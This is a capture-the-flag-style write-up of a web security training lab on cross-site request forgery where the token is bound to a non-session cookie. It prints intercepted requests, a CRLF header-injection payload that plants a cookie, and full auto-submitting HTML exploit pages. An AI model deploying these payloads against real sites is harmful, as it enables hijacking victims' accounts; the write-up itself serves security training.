CSRF where token is tied to non session cookie

Description

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

  • wiener:peter

  • carlos:montoya

Approach

First, I logged in as the user wiener and intercepted the request to change the email address:

POST /my-account/change-email HTTP/2
Host: 0a9c004803c4760381547add001c00a4.web-security-academy.net
Cookie: session=MV3F1UH6j3jTyMzBx3ckgezvUN6BDuLA; csrfKey=ZzlAQROeZCfpgo925vKYiIhJesB22YVX; LastSearchTerm=qwe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...

email=qweqqwe%40qwe.com&csrf=zGxeHuBkc7OVBGqnGUPrVi6ThZzqkKYn

I noticed two important cookies: session and csrfKey.

  • Altering the session cookie redirected me to the login page, indicating it handles session management.

  • Changing the csrfKey cookie resulted in an "Invalid CSRF token" error, confirming its role in CSRF protection.

Next, I logged in as carlos in a private window, intercepted the change email request, and extracted the csrfKey and csrf token values. Using carlos's csrfKey cookie and CSRF token in wiener's change email request worked, indicating the CSRF implementation was not tied to the user session.

Given this information, I crafted a CSRF PoC to make the victim submit the change email form using carlos's CSRF token and csrfKey cookie:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a9c004803c4760381547add001c00a4.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;qwe&#46;com" />
      <input type="hidden" name="csrf" value="zGxeHuBkc7OVBGqnGUPrVi6ThZzqkKYn" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

This PoC alone wasn't enough because the csrfKey cookie wasn't set in the victim's browser. I needed a way to set this cookie.

While navigating through requests in Burp Suite, I found that the input passed to the search parameter at /search was reflected in the Set-Cookie header:

GET /?search=ichyaboy HTTP/2
Host: 0a9c004803c4760381547add001c00a4.web-security-academy.net
Cookie: session=MV3F1UH6j3jTyMzBx3ckgezvUN6BDuLA; csrfKey=ZzlAQROeZCfpgo925vKYiIhJesB22YVX; LastSearchTerm=qwe
...

Response:

HTTP/2 200 OK
Set-Cookie: LastSearchTerm=ichyaboy Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3474

I could inject into this header to set the necessary csrfKey cookie:

ichyaboy
Set-Cookie: csrfKey=ZzlAQROeZCfpgo925vKYiIhJesB22YVX; SameSite=None

URL-encoded payload:

ichyaboy%0d%0aSet-Cookie:%20csrfKey=ZzlAQROeZCfpgo925vKYiIhJesB22YVX%3b%20SameSite=None

Combining the header injection and the CSRF form submission, I created the following final PoC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a9c004803c4760381547add001c00a4.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ichyaboy27&#64;qwe&#46;com" />
      <input type="hidden" name="csrf" value="zGxeHuBkc7OVBGqnGUPrVi6ThZzqkKYn" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://0a9c004803c4760381547add001c00a4.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=ZzlAQROeZCfpgo925vKYiIhJesB22YVX%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

When the victim visits this malicious HTML page, their browser attempts to fetch the image, which triggers the injection to set the csrfKey cookie. Upon failing to load the image, the onerror event handler submits the form, exploiting the CSRF vulnerability.

I modified the email value to avoid errors related to reused email addresses. After placing the CSRF PoC on my malicious page and delivering it to the victim, the lab was solved, confirming the successful email change.